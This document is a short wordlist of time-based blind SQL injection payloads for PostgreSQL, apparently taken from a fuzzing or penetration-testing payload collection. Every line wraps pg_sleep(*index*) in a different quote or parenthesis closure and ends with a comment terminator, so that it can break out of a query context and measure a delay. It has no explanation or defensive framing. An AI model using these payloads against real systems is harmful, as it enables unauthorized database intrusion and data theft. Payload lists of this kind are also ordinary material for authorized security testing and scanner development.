pg_sleep(*index*)--
1 or pg_sleep(*index*)--
" or pg_sleep(*index*)--
' or pg_sleep(*index*)--
1) or pg_sleep(*index*)--
") or pg_sleep(*index*)--
') or pg_sleep(*index*)--
1)) or pg_sleep(*index*)--
")) or pg_sleep(*index*)--
')) or pg_sleep(*index*)--